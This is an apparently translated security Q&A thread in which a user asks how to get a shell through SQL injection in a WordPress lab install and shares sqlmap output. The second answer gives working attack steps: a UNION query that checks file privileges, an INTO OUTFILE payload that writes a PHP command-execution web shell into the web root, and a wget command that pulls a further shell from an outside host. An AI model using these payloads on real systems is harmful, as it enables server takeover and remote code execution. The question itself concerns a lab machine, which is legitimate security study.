Caricamento di shell mediante SQLI

5

Ho trovato una vulnerabilità di SQL injection in un'installazione di Wordpress all'interno di una delle mie macchine di laboratorio e sto cercando di sfruttarla per caricare una shell.

Posso ottenere l'hash dell'amministratore ma sembra che sia piuttosto complesso visto che JTR e HASHCAT impiegano molto tempo senza fortuna.

Ecco l'output di base di SQLmap:

web server operating system: Linux Ubuntu xxxxxxxxx
web application technology: PHP 5.2.6, Apache 2.2.11
back-end DBMS: MySQL 5
[02:24:38] [INFO] testing if current user is DBA
[02:24:38] [INFO] fetching current user
current user is DBA:    True
[02:24:38] [INFO] fetching database names
[02:24:38] [INFO] the SQL query used returns 3 entries
[02:24:38] [INFO] resumed: "information_schema","information_schema"
[02:24:38] [INFO] resumed: "mysql","mysql"
[02:24:38] [INFO] resumed: "wordpress","wordpress"
available databases [3]:                                                                                                                                               
[*] information_schema
[*] mysql
[*] wordpress

Ho provato l'opzione --os-shell ma sembra che non ci sia accesso in scrittura poiché ottengo questi errori:

[02:26:36] [WARNING] unable to retrieve automatically any web server path

[02:26:36] [INFO] trying to upload the file stager on '/var/www' via LIMIT INTO OUTFILE technique

[02:26:37] [WARNING] unable to upload the file stager on '/var/www'

[02:26:37] [INFO] trying to upload the file stager on '/var/www' via UNION technique

[02:26:37] [WARNING] expect junk characters inside the file as a leftover from UNION query

[02:26:38] [WARNING] it looks like the file has not been written, this can occur if the DBMS process' user has no write privileges in the destination path

Posso ottenere --sql-shell senza problemi. Ho provato i passaggi qui ( link ) per caricare una shell ma ottengo il seguente errore

[02:00:16] [WARNING] execution of custom SQL queries is only available when stacked queries are supported

Ora, ho bisogno di un modo per caricare una shell sul computer di destinazione, qualsiasi idea? Anche eventuali pensieri in cui posso rompere l'hash della password di amministratore di Wordpress online?

    
posta Ahmed Taher 31.10.2013 - 01:45
fonte

2 risposte

5

Prima di tutto se esegui il debug di un errore di sqlmap devi aumentare la verbosità. Nessuno può effettivamente rispondere a questa domanda, perché non hai raccolto le informazioni appropriate.

Il --os-shell funziona per MySQL tentando di usare un into outfile per scrivere un file nella web root. Questo può fallire per qualsiasi numero di ragioni. Il motivo più comune è che il database e il server web e diverse macchine. Le rule set predefinite di UbArmor di Ubuntu proibiscono a MySQL di scrivere su / var / www /. Inoltre, into outfile richiede privilegi di file che non dovrebbero mai essere concessi (ma spesso lo sono). Puoi provare a utilizzare la funzionalità file-io di sqlmap per leggere e scrivere sul file system remoto.

nel contesto di questa applicazione, scaricando il contenuto del database Wordpress MySQL si otterrà l'hash della password dell'amministratore. Il crack di questo hash produrrà un account amministratore Wordpress che ha quasi sempre la possibilità di caricare e installare estensioni Wordpress .... o shell PHP.

    
risposta data 01.11.2013 - 02:32
fonte
7

Sì, puoi scrivere la tua shell sul server web con istruzioni SQL senza accedere al pannello di amministrazione o a qualsiasi altro pannello di controllo.

Ma per questo devi soddisfare determinati requisiti:

  1. Devi avere i privilegi di scrittura e una directory scrivibile (dove devi caricare la tua shell)
  2. Percorso principale (i.e /var/www/website/ )
  3. Le citazioni magiche devono essere abilitate

Verifica i privilegi di scrittura

Ora la domanda è come controllare se hai i permessi di scrittura? Quello che puoi fare semplicemente è leggere file_priv dalla tabella mysql.user :

union select 1,2,3,concat(user(),0x3a,file_priv) from mysql.user--

Se dice Y dopo il tuo attuale utente, allora sei fortunato e hai i privilegi di scrittura.

Crea un file per ricevere la shell

Ora è il momento di utilizzare le istruzioni di MySQL. Utilizzeremo INTO OUTFILE , che scrive le righe selezionate su un file. La sintassi di base è:

select column_name from table_name into outfile "filepath/file.extension

Qualcosa di simile dovrebbe creare un file chiamato shell.php nella directory del sito web e scrivere il codice PHP al suo interno:

http://website.com/file.php?id=1 union select 1,"<?php system($_REQUEST['cmd'])?>",3,4 INTO OUTFILE " /var/www/website/public_html/shell.php"

Accedi alla shell

Ora possiamo accedere alla nostra shell visitando http://website.com/shell.php?cmd=whoami . Puoi eseguire qualsiasi comando dopo cmd= . Ora puoi caricare uno shellcode pronto all'uso sul server usando curl o 'wget (su server Linux):

'http://website.com/shell.php?cmd=wget http://othersite.com/shell.txt -O code.php'

E quindi puoi accedere alla tua shell con:

http://website.com/code.php

Spero tu abbia capito tutto:)

    
risposta data 28.03.2014 - 01:58
fonte

Leggi altre domande sui tag